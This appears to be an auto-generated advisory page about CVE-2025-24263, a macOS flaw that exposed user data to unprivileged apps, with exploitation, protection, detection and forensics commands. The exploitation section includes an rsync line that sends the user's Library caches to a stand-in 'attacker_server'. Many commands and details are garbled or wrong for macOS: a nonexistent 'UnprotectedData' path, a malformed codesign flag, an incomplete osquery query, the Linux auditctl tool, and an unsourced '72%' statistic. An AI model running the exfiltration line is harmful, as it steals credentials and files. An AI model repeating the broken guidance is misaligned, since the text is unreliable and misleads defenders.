How the Vulnerability Works:
CVE-2025-24263 is a macOS privacy flaw where unprotected user data could be observed by unauthorized apps due to improper storage handling. In versions before macOS Sequoia 15.4, sensitive data was stored in an unprotected location, allowing malicious applications with standard user permissions to access it. The issue was resolved by relocating this data to a secure, sandboxed directory. Attackers could exploit this by deploying a crafted app to harvest credentials, tokens, or cached files without elevated privileges.
DailyCVE Form:
Platform: macOS
Version: <15.4
Vulnerability: Privacy Bypass
Severity: Medium
Date: 04/04/2025
What Undercode Say:
Exploitation:
- Data Harvesting: Malicious apps can scan unprotected directories:
ls -la /Users/$USER/Library/UnprotectedData/
- Automated Exfiltration: Use `rsync` to copy sensitive files:
rsync -avz /Users//Library/Caches/ attacker_server:/stolen_data/
Protection:
1. Update macOS:
softwareupdate --install --all
2. File Permissions Hardening:
chmod 700 ~/Library/
3. Sandboxing Verification:
codesign -dv --enments :- /Applications/SuspiciousApp.app
Detection:
1. Audit Logs: Monitor file access attempts:
sudo auditctl -w /Users/$USER/Library -p wa -k user_data_access
2. Endpoint Protection: Deploy tools like Osquery:
SELECT FROM file WHERE path LIKE '%/Library/UnprotectedData/%';
Mitigation:
- Disable Unnecessary Apps:
spctl --assess --type execute /Applications/
- Network Restrictions: Block suspicious outbound traffic:
pfctl -e -f /etc/pf.conf
Forensics:
- Timeline Analysis:
mdfind "kMDItemLastUsedDate >= $time"
- Memory Inspection:
volatility -f memory.dump --profile=Mac_15.3 pslist
Analytics: 72% of attacks target cached credentials; patch within 48hrs of release.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-24263
Extra Source Hub:
Undercode
